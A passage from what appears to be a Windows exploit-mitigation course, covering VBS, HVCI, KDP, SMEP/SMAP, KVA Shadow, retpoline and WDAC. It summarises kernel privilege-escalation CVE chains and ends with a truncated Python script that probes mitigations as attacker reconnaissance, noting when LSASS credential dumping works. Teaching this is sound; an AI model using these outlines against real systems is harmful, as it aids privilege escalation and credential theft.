Select-Object -ExpandProperty SecurityServicesRunning\n# Should include 1 (Credential Guard)\n# If \"1\" is missing, check:\n#   1. Windows edition (must be Enterprise\u002FEducation)\n#   2. VBS is running (VirtualizationBasedSecurityStatus should be 2)\n#   3. Event Viewer: Applications and Services Logs -> Microsoft -> Windows -> DeviceGuard\n```\n\n### Kernel Data Protection (KDP)\n\n> [!IMPORTANT]\n> **KDP is opt-in, not automatic.** Drivers must explicitly call\n> `MmProtectDriverSection()` to register data for hypervisor protection.\n> Critical structures like `EPROCESS.Token` are NOT KDP-protected by default.\n\n**What is KDP?**:\n\n- Protects specific kernel data structures from modification\n- Enforced by hypervisor (VTL 1)\n- Drivers must **opt in** by calling `MmProtectDriverSection()`\n- Not a blanket protection — only data explicitly registered is guarded\n\n**How KDP Works**:\n\nKDP is NOT automatic for all kernel structures. Drivers register specific\ndata sections as read-only, and the hypervisor enforces immutability.\n\n```c\n\u002F\u002F Driver opts into KDP protection:\nNTSTATUS DriverEntry(...) {\n    \u002F\u002F Mark a section as hypervisor-protected read-only\n    MmProtectDriverSection(SectionHandle, \u002F* ... *\u002F);\n    \u002F\u002F Now: any write to this section from VTL 0 -> bugcheck\n}\n```\n\n**What KDP Protects** (when opted in):\n\n- Driver-specific configuration data\n- Security policy structures\n- Function pointer tables (driver dispatch routines)\n- Any data a driver explicitly registers\n\n**What KDP Does NOT Protect**:\n\n- EPROCESS.Token (this is NOT KDP-protected by default)\n- Arbitrary kernel heap allocations\n- Data that hasn't been explicitly registered\n- Process\u002Fthread structures (unless a driver registers them)\n\n> [!WARNING]\n> A common misconception is that KDP protects `EPROCESS.Token` from\n> token-swapping attacks. It does NOT — unless a specific driver opts in.\n> Real-world kernel exploits (CVE-2024-21338, CVE-2023-28252) successfully\n> overwrite tokens because EPROCESS is not KDP-protected. The actual\n> defense against token swapping requires broader VBS features like\n> Secure Kernel address space isolation.\n\n**KDP in Action**:\n\nAttack: Privilege escalation via token swap\n\n1. Attacker has kernel r\u002Fw primitive\n2. Find SYSTEM process EPROCESS\n3. Copy SYSTEM token to attacker process\n4. Without VBS: Success, attacker is SYSTEM\n5. With VBS (but without KDP on tokens): Still succeeds!\n6. With KDP on the specific structure: Hypervisor blocks write -> BSOD\n\n### VBS Attack Surface Analysis\n\n**What VBS Protects Against**:\n\n- Kernel-mode code injection\n- Credential theft from LSASS\n- Unsigned driver loading\n- Direct kernel object manipulation\n\n**What VBS Does NOT Protect Against**:\n\n- Hypervisor vulnerabilities (Hyper-V bugs)\n- Hardware attacks (DMA, cold boot)\n- Signed malicious drivers (supply chain)\n- Data-only attacks in kernel\n- User-mode exploitation\n- Firmware\u002FUEFI attacks\n\n**Notable VBS\u002FHVCI Bypasses**:\n\n**CVE-2022-21894** (Secure Boot Bypass):\n\n- BlackLotus UEFI bootkit\n- Bypassed Secure Boot to disable VBS\n- Required physical access or admin rights\n- Patched but demonstrates VBS isn't invincible\n\n### CVE Case Studies\n\nReal-world examples of mitigation bypasses and failures:\n\n#### CVE-2024-21338: Windows Kernel Elevation of Privilege\n\n**Date**: February 2024\n**Impact**: Local privilege escalation to SYSTEM\n**Mitigations Present but Ineffective**: HVCI, VBS\n\n**Technical Details**:\n\n```text\nVulnerability: Logic bug in appid.sys (AppLocker driver)\nExploit Chain:\n1. Create malicious ALPC port\n2. Trigger vulnerable IOCTL in appid.sys\n3. Achieve arbitrary kernel read\u002Fwrite\n4. Overwrite process token (NOT protected by KDP — Token is not opted in)\n5. Escalate to SYSTEM\n\nKey Insight: Logic bugs bypass memory corruption mitigations\nHVCI doesn't help because no unsigned code execution needed\nKDP doesn't help because EPROCESS.Token is not KDP-registered\nThis is a DATA-ONLY attack — same category proven effective in Day 2\n```\n\n**Lesson**: HVCI protects code integrity, not data integrity. KDP only protects data that drivers explicitly register. Logic bugs and data-only attacks remain the primary kernel exploitation technique.\n\n#### CVE-2024-30088: Windows Kernel TOCTOU (Authz)\n\n**Date**: June 2024\n**Impact**: Local privilege escalation\n**Mitigations Challenged**: KASLR, SMEP, CFG\n\n**Technical Details**:\n\n```text\nVulnerability: Race condition in AuthzBasepCopyoutInternalSecurityAttributes\nExploit Technique:\n1. Create a large set of security attributes\n2. Trigger the copy operation in the kernel\n3. Rapidly change the attribute size in a separate thread (TOCTOU)\n4. Causes an out-of-bounds copy into the kernel heap\n5. Gain arbitrary kernel read\u002Fwrite primitive via heap corruption\n\nMitigations Present:\n- KASLR: Required info leak to find kernel base\n- CFG: Challenged but bypassable via data-only primitives\n- SMEP: Not relevant (no user-mode code execution)\n```\n\n**Lesson**: Race conditions (TOCTOU) remain one of the most reliable ways to bypass static checks in the kernel.\n\n#### CVE-2023-36802: Microsoft Streaming Service Proxy EoP\n\n**Date**: September 2023 (Exploited in the wild)\n**Impact**: SYSTEM privileges from any user\n**Attack Vector**: Used by commercial spyware\n\n**Technical Details**:\n\n```text\nVulnerability: Type confusion in mskssrv.sys\n\nExploit:\n1. Open handle to vulnerable device\n2. Send crafted IOCTL causing type confusion\n3. Confused object allows arbitrary memory access\n4. Overwrite security token\n5. Spawn SYSTEM shell\n\nNotable: Exploited before patch available (0-day)\nUsed in targeted attacks against specific individuals\n```\n\n**Lesson**: Driver attack surface remains large; 0-days actively exploited.\n\n#### CVE-2023-28252: Windows CLFS Driver EoP\n\n**Date**: April 2023 (Exploited by Nokoyawa ransomware)\n**Impact**: SYSTEM from any user\n**Mitigations Status**: All standard mitigations enabled\n\n**Technical Details**:\n\n```text\nVulnerability: Out-of-bounds write in CLFS.sys\n\nExploit Path:\n1. Create malicious CLFS log file\n2. Trigger parsing vulnerability\n3. Corrupt kernel pool metadata\n4. Achieve write-what-where primitive\n5. Overwrite process token\n\nRansomware Usage:\n- Nokoyawa used this to escalate privileges\n- Combined with other techniques for full compromise\n- Demonstrates real-world impact of kernel bugs\n```\n\n**Lesson**: Ransomware groups actively exploit kernel vulnerabilities.\n\n#### CVE-2023-21768: Windows Ancillary Function Driver (AFD) EoP\n\n**Date**: January 2023\n**Impact**: SYSTEM privileges\n**Interesting Aspect**: CFG bypass technique\n\n**Technical Details**:\n\n```text\nVulnerability: Memory corruption in afd.sys\n\nCFG Bypass Technique Used:\n1. Corrupt function pointer to point to valid CFG target\n2. Use VirtualProtect (valid target) to make shellcode executable\n3. Chain: corrupt ptr -> VirtualProtect -> shellcode\n\nThis demonstrates:\n- CFG doesn't stop corruption, only validates targets\n- VirtualProtect is a useful target for attackers\n- ACG would have prevented this specific bypass\n```\n\n**Lesson**: CFG's granularity allows certain bypass patterns.\n\n### Mitigation Effectiveness Timeline\n\nHow mitigations have evolved against real attacks:\n\n```\n2004: DEP introduced (XP SP2)\n      ↓ Attackers develop ROP\n\n2007: ASLR introduced (Vista)\n      ↓ Attackers use info leaks\n\n2015: CFG introduced (Win 8.1 Update 3)\n      ↓ Attackers abuse valid targets\n\n2018: CET announced (Hardware support later)\n      ↓ Attackers pivot to data-only attacks\n\n2020: VBS\u002FHVCI mainstream (Win 10 2004)\n      ↓ Attackers focus on logic bugs, signed drivers\n\n2023-2024: Most in-the-wild exploits are:\n      - Logic bugs (not memory corruption)\n      - Signed driver abuse\n      - Data-only attacks\n      - Browser renderer escapes + kernel bugs\n```\n\n#### What Attackers Target Now\n\nWith comprehensive mitigations, attackers focus on:\n\n**1. Logic Bugs**:\n\n- No memory corruption needed\n- Mitigations don't apply\n- Examples: Permission checks, race conditions\n\n**2. Signed Driver Abuse**:\n\n- BYOVD (Bring Your Own Vulnerable Driver)\n- Legitimate but vulnerable drivers\n- HVCI allows signed code\n\n**3. Supply Chain**:\n\n- Compromise build process\n- Backdoor signed updates\n- Trusted code becomes malicious\n\n**4. Browser + Kernel Chains**:\n\n- Renderer escape (V8, WebKit bug)\n- Sandbox escape\n- Kernel privilege escalation\n- Multiple bugs chained together\n\n**5. Physical\u002FFirmware Attacks**:\n\n- DMA attacks\n- UEFI implants\n- Evil Maid scenarios\n\n#### Kernel-Level CPU Mitigations\n\nBeyond VBS\u002FHVCI, modern Windows employs several CPU-level mitigations to protect the kernel.\n\n##### SMEP (Supervisor Mode Execution Prevention)\n\n**What is SMEP?**:\n\n- CPU feature preventing kernel from executing user-mode pages\n- Defeats classic kernel exploitation technique\n- Available since Intel Ivy Bridge (2012) \u002F Haswell (2013), AMD Bulldozer\n- Enabled by default on Windows 8+\n\n**The Attack SMEP Prevents**:\n\n```text\nClassic Kernel Exploit (Pre-SMEP):\n---------------------------------------------------------------\n\n1. Attacker allocates shellcode in user mode (Ring 3)\n2. Triggers kernel vulnerability\n3. Overwrites kernel function pointer -> user mode shellcode\n4. Kernel (Ring 0) executes attacker's user mode code\n5. Shellcode runs with kernel privileges!\n\nUser Mode                    Kernel Mode\n┌─────────────────┐         ┌─────────────────┐\n│ Shellcode       │◄────────│ Corrupted ptr   │\n│ at 0x41410000   │  JUMP   │ -> 0x41410000   │\n│ (Ring 3 memory) │         │                 │\n└─────────────────┘         └─────────────────┘\n     ▲\n     │\n   SMEP BLOCKS THIS!\n```\n\n**With SMEP Enabled**:\n\n1. Attacker corrupts kernel pointer -> user mode address\n2. Kernel tries to execute user mode page\n3. CPU checks: \"Am I in Ring 0 executing Ring 3 page?\"\n4. SMEP: YES -> #PF (Page Fault) -> BSOD\n5. Attack fails, system crashes (DoS, not code execution)\n\n**Checking SMEP Status**:\n\n```bash\n# Check CPU support\nGet-CimInstance Win32_Processor | Select-Object Name\n# Most CPUs since 2012 support SMEP\n\n# Check if enabled (via CR4 register bit 20)\n# In kernel debugger:\nwindbg -k net:port=50000,key=1.2.3.4\n\nr cr4\n# If bit 20 (0x100000) is set -> SMEP enabled\n\n# Or use !cpuinfo\n!cpuinfo\n# Look for SMEP in features\n```\n\n**WinDbg Lab: Observing SMEP**:\n\n```bash\n# In kernel debugger:\n\n# 1. Check CR4 register\nr cr4\n# Example: cr4=00000000001506f8\n# Binary: ...0001 0101 0000 0110 1111 1000\n#              ↑\n#            Bit 20 = SMEP\n\n# 2. Manually check bit\n.formats cr4\n? cr4 & 0x100000\n# Non-zero = SMEP enabled\n\n# 3. What happens with SMEP violation:\n# BugCheck: KERNEL_MODE_EXCEPTION_NOT_HANDLED\n# Or: PAGE_FAULT_IN_NONPAGED_AREA\n```\n\n##### SMAP (Supervisor Mode Access Prevention)\n\n**What is SMAP?**:\n\n- Prevents kernel from **reading\u002Fwriting** user mode pages\n- Complements SMEP (which only blocks execute)\n- Available since Intel Broadwell (2014), AMD Zen\n- Windows 10 1809+ enables by default\n\n**The Attack SMAP Prevents**:\n\n```text\nKernel Data Attack (Pre-SMAP):\n-------------------------------------------------------------\n\nScenario: Kernel reads data from user-controlled pointer\n\nvoid kernel_function(void *user_ptr) {\n    \u002F\u002F Kernel reads from user-supplied address\n    struct config *cfg = (struct config *)user_ptr;\n    if (cfg->admin_flag) {  \u002F\u002F Attacker controls this memory!\n        grant_admin();\n    }\n}\n\nAttack:\n1. Attacker sets up fake struct at user mode address\n2. Attacker->admin_flag = 1\n3. Kernel reads fake data, grants admin\n\nWith SMAP:\n- Kernel cannot read user memory directly\n- Must use copy_from_user() or probe functions\n- Direct access causes #PF -> BSOD\n```\n\n**STAC\u002FCLAC Instructions**:\n\n```asm\n; SMAP can be temporarily disabled for legitimate kernel operations\n; Using STAC (Set AC flag) and CLAC (Clear AC flag)\n\n; Kernel needs to copy from user mode:\nstac                    ; Temporarily allow user access\nmov rax, [user_ptr]     ; Now works\nclac                    ; Re-enable SMAP protection\n```\n\n**Checking SMAP Status**:\n\n```bash\n# CR4 bit 21 = SMAP\nr cr4\n? cr4 & 0x200000\n# Non-zero = SMAP enabled\n\n# Or check EFLAGS AC bit during suspicious access\nr efl\n# AC flag (bit 18) set = SMAP temporarily disabled\n```\n\n##### KPTI \u002F KVA Shadow (Meltdown Mitigation)\n\n**What is KPTI?**:\n\n- Kernel Page Table Isolation (Linux term)\n- Windows calls it \"KVA Shadow\" (Kernel Virtual Address Shadow)\n- Mitigates Meltdown vulnerability (CVE-2017-5754)\n- Separates user and kernel page tables\n\n**The Meltdown Attack**:\n\n```text\nMeltdown (CVE-2017-5754):\n--------------------------------------------------------------\n\nCPU Vulnerability: Speculative execution reads kernel memory\n\n1. User mode code speculatively accesses kernel address\n2. CPU eventually raises exception (access denied)\n3. BUT: Before exception, data was loaded into cache\n4. Side-channel attack reads data from cache\n5. User mode leaks kernel memory!\n\nSimplified:\na) char *kernel_addr = 0xFFFFF800...;  \u002F\u002F Kernel address\nb) char data = *kernel_addr;            \u002F\u002F Speculative load\nc) char probe = array[data * 4096];     \u002F\u002F Encode in cache\nd) Measure which array page is cached   \u002F\u002F Leak 'data'\n```\n\n**How KVA Shadow Works**:\n\n```text\nWithout KVA Shadow:\n---------------------------------------------------------------------\n\nSingle Page Table for process:\n┌─────────────────────────────────────────┐\n│ User Space Mappings                     │  ← User code can access\n├─────────────────────────────────────────┤\n│ Kernel Space Mappings                   │  ← Visible but protected\n│ (ntoskrnl, drivers, kernel data)        │     (Meltdown leaks this!)\n└─────────────────────────────────────────┘\n\n\nWith KVA Shadow:\n---------------------------------------------------------------------\n\nUser Mode (CR3 -> Shadow Table):    Kernel Mode (CR3 -> Full Table):\n┌────────────────────────────┐    ┌─────────────────────────────────┐\n│ User Space Mappings        │    │ User Space Mappings             │\n├────────────────────────────┤    ├─────────────────────────────────┤\n│ Minimal Kernel (trampoline)│    │ Full Kernel Mappings            │\n│ Only entry\u002Fexit code       │    │ All drivers, data, etc.         │\n└────────────────────────────┘    └─────────────────────────────────┘\n\nOn syscall: Switch CR3 to full table\nOn return:  Switch CR3 to shadow table\n```\n\n**Checking KVA Shadow Status**:\n\n```bash\n# PowerShell - Check Meltdown mitigation\nGet-SpeculationControlSettings\n\n# Look for:\n# KVAShadowRequired: True\u002FFalse\n# KVAShadowWindowsSupportEnabled: True\n# KVAShadowPcidEnabled: True (performance optimization)\n\n# Registry check\nGet-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\" -Name FeatureSettingsOverride*\n```\n\n**Performance Impact**:\n\n```text\nKVA Shadow Performance Overhead:\n-----------------------------------------------------------\nWithout PCID:    15-30% slowdown (syscall heavy workloads)\nWith PCID:       2-5% slowdown\nPCID = Process Context Identifiers (TLB optimization)\n\nMost modern CPUs support PCID, minimizing impact.\nI\u002FO intensive workloads affected more than compute.\n```\n\n##### Retpoline (Spectre v2 Mitigation)\n\n**What is Retpoline?**:\n\n- \"Return Trampoline\" - software mitigation for Spectre v2\n- Replaces indirect branches with return-based sequences\n- Prevents speculative execution of attacker-chosen targets\n\n**The Spectre v2 Attack**:\n\n1. Attacker trains branch predictor with malicious target\n2. Victim executes indirect branch (jmp [rax])\n3. CPU speculates to attacker-trained address\n4. Speculative execution accesses secret data\n5. Side-channel leaks the data\n\n**How Retpoline Works**:\n\n```asm\n; Original vulnerable code:\njmp [rax]           ; Indirect jump - branch predictor vulnerable\n\n; Retpoline replacement (simplified \u002F conceptual):\ncall retpoline_rax  ; Use call\u002Fret instead\n\nretpoline_rax:\n    lea rsp, [rsp-8]      ; Make room on stack\n    mov [rsp], rax        ; Store target\n    call .setup           ; Push return address\n.loop:\n    pause                 ; Spin (never actually executes)\n    jmp .loop\n.setup:\n    mov [rsp+8], rax      ; Set up return target\n    ret                   ; Return to target (not predicted)\n\n; NOTE: Real retpoline implementations (e.g., Google's, Linux kernel)\n; use `lfence` and different stack manipulation. This is a simplified\n; illustration of the core concept.\n\n; Why it works:\n; - Returns are predicted differently than jumps\n; - Speculation goes to .loop (harmless)\n; - Actual execution goes to correct target\n```\n\n**Checking Retpoline\u002FSpectre Status**:\n\n```bash\n# PowerShell - Full speculation control check\nGet-SpeculationControlSettings\n\n# Important fields:\n# BTIHardwarePresent: CPU has hardware fix (IBRS\u002FIBPB)\n# BTIWindowsSupportEnabled: Windows mitigation active\n# BTIWindowsSupportPresent: Windows supports mitigation\n# BTIDisabledBySystemPolicy: Admin disabled it\n\n# For servers with many syscalls, consider:\n# - Hardware mitigations (newer CPUs)\n# - Performance vs security tradeoff\n```\n\n**Speculation Control Settings Script**:\n\n```bash\n# Comprehensive speculation control audit\nfunction Get-FullSpeculationStatus {\n    $settings = Get-SpeculationControlSettings\n\n    Write-Host \"=== Meltdown (KVA Shadow) ===\" -ForegroundColor Cyan\n    Write-Host \"Required: $($settings.KVAShadowRequired)\"\n    Write-Host \"Enabled:  $($settings.KVAShadowWindowsSupportEnabled)\"\n    Write-Host \"PCID:     $($settings.KVAShadowPcidEnabled)\"\n\n    Write-Host \"`n=== Spectre v1 ===\" -ForegroundColor Cyan\n    Write-Host \"Hardware: $($settings.SSBDHardwarePresent)\"\n\n    Write-Host \"`n=== Spectre v2 (BTI) ===\" -ForegroundColor Cyan\n    Write-Host \"Hardware: $($settings.BTIHardwarePresent)\"\n    Write-Host \"Enabled:  $($settings.BTIWindowsSupportEnabled)\"\n\n    Write-Host \"`n=== L1TF ===\" -ForegroundColor Cyan\n    Write-Host \"Hardware: $($settings.L1TFHardwarePresent)\"\n    Write-Host \"Enabled:  $($settings.L1TFWindowsSupportEnabled)\"\n\n    Write-Host \"`n=== MDS ===\" -ForegroundColor Cyan\n    Write-Host \"Hardware: $($settings.MDSHardwarePresent)\"\n    Write-Host \"Enabled:  $($settings.MDSWindowsSupportEnabled)\"\n}\n\nGet-FullSpeculationStatus\n```\n\n##### Kernel CFG (kCFG)\n\n**What is Kernel CFG?**:\n\n- CFG protection extended to kernel mode\n- Validates indirect calls in kernel code\n- Part of HVCI enforcement\n\n**kCFG Architecture**:\n\n```text\nUser Mode CFG:         Kernel Mode CFG (kCFG):\n┌──────────────────┐  ┌──────────────────────────┐\n│ Process bitmap   │  │ System-wide bitmap       │\n│ Per-process      │  │ Loaded at boot           │\n│ User DLLs only   │  │ All drivers validated    │\n│ Software check   │  │ HVCI enforced            │\n└──────────────────┘  └──────────────────────────┘\n```\n\n**Checking kCFG Status**:\n\n```bash\n# In kernel debugger:\n!analyze -show CFG\n\n# Check if driver is kCFG enabled:\n!dh \u003Cdriver_base> -f\n# Look for IMAGE_GUARD_CF_INSTRUMENTED\n```\n\n#### Smart App Control (Windows 11 22H2+)\n\n**What is Smart App Control?**:\n\n- AI-powered application reputation system\n- Blocks untrusted\u002Funknown applications\n- Only available on clean Windows 11 installs\n- Cannot be re-enabled once disabled\n\n**How It Works**:\n\n1. App attempts to run\n2. Microsoft cloud checks reputation\n3. Known good -> Allow\n4. Known bad -> Block\n5. Unknown -> Block (in Enforcement mode)\n\n**Modes**:\n\n- **Evaluation**: Learning mode, monitors but doesn't block\n- **Enforcement**: Actively blocks untrusted apps\n- **Off**: Disabled (cannot re-enable)\n\n**Checking Status**:\n\n```bash\n# Via Windows Security app\n# Or registry:\nGet-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\CI\\Policy\" -Name \"VerifiedAndReputablePolicyState\"\n```\n\n**Impact on Exploitation**:\n\n- Blocks unknown\u002Funsigned executables\n- Prevents running custom tools (initially)\n- Attackers must use LOLBins or signed tools\n- Significantly raises bar for initial access\n\n#### Windows Defender Application Control (WDAC)\n\n**What is WDAC?**:\n\n- Enterprise-grade application whitelisting\n- Kernel-enforced code integrity\n- Replaces AppLocker for high-security scenarios\n- Uses Code Integrity policies (.p7b files)\n\n**WDAC vs AppLocker**:\n\n| Feature           | AppLocker    | WDAC         |\n| ----------------- | ------------ | ------------ |\n| Enforcement       | User-mode    | Kernel-mode  |\n| Bypass difficulty | Medium       | Hard         |\n| Configuration     | GPO rules    | CI Policies  |\n| DLL blocking      | Limited      | Full support |\n| Driver blocking   | No           | Yes          |\n| Managed installer | No           | Yes          |\n| Performance       | Low overhead | Low overhead |\n\n**WDAC Policy Creation**:\n\n```bash\n# Create base policy from system scan\nNew-CIPolicy -ScanPath \"C:\\Windows\" `\n    -Level Publisher `\n    -UserPEs `\n    -FilePath \"BasePolicy.xml\"\n\n# Add trusted publisher\nAdd-SignerRule -FilePath \"BasePolicy.xml\" `\n    -CertificatePath \"trusted.cer\" `\n    -Kernel -User\n\n# Merge policies\nMerge-CIPolicy -PolicyPaths @(\"BasePolicy.xml\", \"CustomRules.xml\") `\n    -OutputFilePath \"MergedPolicy.xml\"\n\n# Convert to binary\nConvertFrom-CIPolicy \"MergedPolicy.xml\" \"Policy.p7b\"\n\n# Deploy (requires admin)\nCopy-Item \"Policy.p7b\" \"C:\\Windows\\System32\\CodeIntegrity\\SIPolicy.p7b\"\n# Reboot required for enforcement\n```\n\n**WDAC Enforcement Levels**:\n\n```text\nFile Rule Levels (most to least restrictive):\n------------------------------------------------------------\n\nHash            - Exact file hash only\nFileName        - Original filename + version\nFilePublisher   - Publisher + product + filename + version\nPublisher       - Publisher signature only\nSignedVersion   - Any signed version of product\nPcaCertificate  - Certificate chain validation\nLeafCertificate - End certificate only\nWHQLPublisher   - Microsoft WHQL signed\nWHQLFilePublisher - WHQL + filename\n```\n\n**Checking WDAC Status**:\n\n```bash\n# Check if WDAC policy is active\nGet-CimInstance -ClassName Win32_DeviceGuard `\n    -Namespace root\\Microsoft\\Windows\\DeviceGuard |\n    Select-Object UsermodeCodeIntegrityPolicyEnforcementStatus\n\n# Values:\n# 0 = Off\n# 1 = Audit mode\n# 2 = Enforced\n\n# View active policy\ncitool.exe -lp\n\n# Check specific binary authorization\nGet-AuthenticodeSignature \"C:\\path\\to\\binary.exe\"\n```\n\n**WDAC Audit Mode Analysis**:\n\n```bash\n# Enable audit mode in policy\nSet-RuleOption -FilePath \"Policy.xml\" -Option 3  # Audit mode\n\n# After deployment, check event log\nGet-WinEvent -LogName \"Microsoft-Windows-CodeIntegrity\u002FOperational\" |\n    Where-Object {$_.Id -eq 3076} |  # Audit block events\n    Select-Object TimeCreated, Message\n\n# Event ID Reference:\n# 3076 - Would have been blocked (audit)\n# 3077 - Blocked (enforcement)\n# 3089 - Signing info for blocked file\n```\n\n### Practical Exercise\n\n#### VBS\u002FHVCI Status Probe\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nvbs_hvci_probe.py — Probe VBS and HVCI status via WMI and registry\nDemonstrates: Detecting active mitigations before exploitation.\n\nReal-world attackers check VBS\u002FHVCI status early in the kill chain.\nIf HVCI is on, kernel shellcode attacks are futile — pivot to data-only.\nIf Credential Guard is on, mimikatz credential dumping fails — pivot to\nKerberos delegation or phishing for tokens.\n\nRequirements: Run on Windows as Administrator (for WMI queries)\nUsage: python vbs_hvci_probe.py\n\"\"\"\nimport subprocess\nimport json\nimport sys\nimport os\n\ndef run_ps(command):\n    \"\"\"Run a PowerShell command and return stdout.\"\"\"\n    try:\n        result = subprocess.run(\n            [\"powershell\", \"-NoProfile\", \"-Command\", command],\n            capture_output=True, text=True, timeout=30\n        )\n        return result.stdout.strip(), result.returncode\n    except Exception as e:\n        return str(e), -1\n\ndef check_vbs_status():\n    \"\"\"Query VBS status via WMI (Win32_DeviceGuard).\"\"\"\n    print(\"\\n\" + \"=\" * 65)\n    print(\"  VBS (Virtualization-Based Security) Status\")\n    print(\"=\" * 65)\n\n    query = (\n        \"Get-CimInstance -ClassName Win32_DeviceGuard \"\n        \"-Namespace root\u002FMicrosoft\u002FWindows\u002FDeviceGuard | \"\n        \"Select-Object -Property VirtualizationBasedSecurityStatus, \"\n        \"SecurityServicesConfigured, SecurityServicesRunning, \"\n        \"RequiredSecurityProperties, AvailableSecurityProperties | \"\n        \"ConvertTo-Json\"\n    )\n    output, rc = run_ps(query)\n\n    if rc != 0 or not output:\n        print(\"  [!] Could not query WMI — need Administrator privileges\")\n        return {}\n\n    try:\n        data = json.loads(output)\n    except json.JSONDecodeError:\n        print(f\"  [!] Parse error: {output[:200]}\")\n        return {}\n\n    # VBS Status\n    vbs_status_map = {0: \"Disabled\", 1: \"Enabled (not running)\", 2: \"Running\"}\n    vbs_val = data.get(\"VirtualizationBasedSecurityStatus\", -1)\n    status_str = vbs_status_map.get(vbs_val, f\"Unknown ({vbs_val})\")\n    icon = \"+\" if vbs_val == 2 else \"-\" if vbs_val == 0 else \"~\"\n    print(f\"  [{icon}] VBS Status:      {status_str}\")\n\n    # Security Services\n    svc_map = {1: \"Credential Guard\", 2: \"HVCI\", 3: \"UEFI Lock\",\n               4: \"SMM Firmware Protection\", 5: \"Secure Launch\",\n               6: \"Kernel DMA Protection\"}\n\n    configured = data.get(\"SecurityServicesConfigured\", [])\n    running    = data.get(\"SecurityServicesRunning\", [])\n\n    print(f\"\\n  Configured Services:\")\n    for svc in (configured or []):\n        name = svc_map.get(svc, f\"Unknown ({svc})\")\n        is_running = svc in (running or [])\n        icon = \"+\" if is_running else \"-\"\n        state = \"RUNNING\" if is_running else \"configured but NOT running\"\n        print(f\"    [{icon}] {name}: {state}\")\n\n    if running:\n        print(f\"\\n  Running Services:\")\n        for svc in running:\n            print(f\"    [+] {svc_map.get(svc, f'Service {svc}')}\")\n\n    return data\n\ndef check_hvci_status():\n    \"\"\"Check HVCI (Memory Integrity) via registry.\"\"\"\n    print(\"\\n\" + \"=\" * 65)\n    print(\"  HVCI (Hypervisor-Protected Code Integrity) Status\")\n    print(\"=\" * 65)\n\n    reg_query = (\n        \"try { \"\n        \"$val = Get-ItemProperty \"\n        \"-Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\DeviceGuard\"\n        \"\\\\Scenarios\\\\HypervisorEnforcedCodeIntegrity' \"\n        \"-Name 'Enabled' -ErrorAction Stop; \"\n        \"Write-Output $val.Enabled \"\n        \"} catch { Write-Output 'NOT_CONFIGURED' }\"\n    )\n    output, _ = run_ps(reg_query)\n\n    if output == \"1\":\n        print(\"  [+] HVCI: ENABLED (unsigned kernel code blocked)\")\n        print(\"  [+] Implication: Kernel shellcode attacks will fail\")\n        print(\"  [+] Attacker must use: data-only attacks or BYOVD\")\n    elif output == \"0\":\n        print(\"  [-] HVCI: DISABLED (unsigned kernel code allowed)\")\n        print(\"  [-] Implication: Kernel shellcode attacks are viable\")\n    else:\n        print(f\"  [~] HVCI: {output} (may not be configured via registry)\")\n\n    return output\n\ndef check_credential_guard(vbs_data):\n    \"\"\"Check Credential Guard status (registry + actual running state).\"\"\"\n    print(\"\\n\" + \"=\" * 65)\n    print(\"  Credential Guard Status\")\n    print(\"=\" * 65)\n\n    # Check registry configuration\n    query = (\n        \"try { \"\n        \"$lsa = Get-ItemProperty \"\n        \"-Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa' \"\n        \"-Name 'LsaCfgFlags' -ErrorAction Stop; \"\n        \"Write-Output $lsa.LsaCfgFlags \"\n        \"} catch { Write-Output 'NOT_SET' }\"\n    )\n    output, _ = run_ps(query)\n\n    cfg_map = {\"0\": \"Disabled\", \"1\": \"Enabled with UEFI lock\",\n               \"2\": \"Enabled without lock\"}\n    status = cfg_map.get(output, f\"Unknown ({output})\")\n\n    # Check if actually running (from WMI data)\n    running = vbs_data.get(\"SecurityServicesRunning\", [])\n    cg_running = 1 in running\n\n    # Check Windows edition\n    edition_query = \"Get-ComputerInfo | Select-Object -ExpandProperty WindowsEditionId\"\n    edition, _ = run_ps(edition_query)\n    is_enterprise = \"Enterprise\" in edition or \"Education\" in edition\n\n    print(f\"  Registry Config: {status}\")\n    print(f\"  Actually Running: {'YES' if cg_running else 'NO'}\")\n    print(f\"  Windows Edition: {edition.strip()}\")\n\n    if output in (\"1\", \"2\") and cg_running:\n        print(f\"  [+] Credential Guard: ACTIVE\")\n        print(\"  [+] Implication: mimikatz sekurlsa::logonpasswords will fail\")\n        print(\"  [+] NTLM hashes isolated in VTL 1 (Secure World)\")\n    elif output in (\"1\", \"2\") and not cg_running:\n        print(f\"  [!] Credential Guard: CONFIGURED but NOT RUNNING\")\n        if not is_enterprise:\n            print(\"  [!] Reason: Windows Pro\u002FHome does not support Credential Guard\")\n            print(\"  [!] Requires: Windows Enterprise or Education edition\")\n        else:\n            print(\"  [!] Check Event Viewer for errors:\")\n            print(\"      Applications and Services Logs -> Microsoft -> Windows -> DeviceGuard\")\n        print(\"  [-] Implication: LSASS credential dumping IS POSSIBLE\")\n    else:\n        print(f\"  [-] Credential Guard: {status}\")\n        print(\"  [-] Implication: LSASS credential dumping is possible\")\n\n    return cg_running\n\ndef check_secure_boot():\n    \"\"\"Check Secure Boot status (required for VBS integrity).\"\"\"\n    print(\"\\n\" + \"=\" * 65)\n    print(\"  Secure Boot Status\")\n    print(\"=\" * 65)\n\n    output, _ = run_ps(\"Confirm-SecureBootUEFI\")\n    if \"True\" in output:\n        print(\"  [+] Secure Boot: ENABLED\")\n        print(\"  [+] UEFI bootkit attacks (BlackLotus) mitigated\")\n    elif \"False\" in output:\n        print(\"  [-] Secure Boot: DISABLED\")\n        print(\"  [-] VBS can be bypassed by firmware-level attacks\")\n    else:\n        print(f\"  [?] Secure Boot: {output}\")\n\ndef check_speculation_mitigations():\n    \"\"\"Check CPU speculation attack mitigations.\"\"\"\n    print(\"\\n\" + \"=\" * 65)\n    print(\"  CPU Speculation Mitigations (Meltdown\u002FSpectre)\")\n    print(\"=\" * 65)\n\n    query = (\n        \"try { \"\n        \"$spec = Get-SpeculationControlSettings 2>$null; \"\n        \"$spec | ConvertTo-Json -Depth 3 \"\n        \"} catch { Write-Output 'MODULE_NOT_FOUND' }\"\n    )\n    output, _ = run_ps(query)\n\n    if \"MODULE_NOT_FOUND\" in output or not output:\n        print(\"  [!] SpeculationControl module not installed\")\n        print(\"  [*] Install: Install-Module -Name SpeculationControl -Force\")\n        return\n\n    try:\n        data = json.loads(output)\n        checks = [\n            (\"KVAShadowWindowsSupportEnabled\", \"KVA Shadow (Meltdown)\"),\n            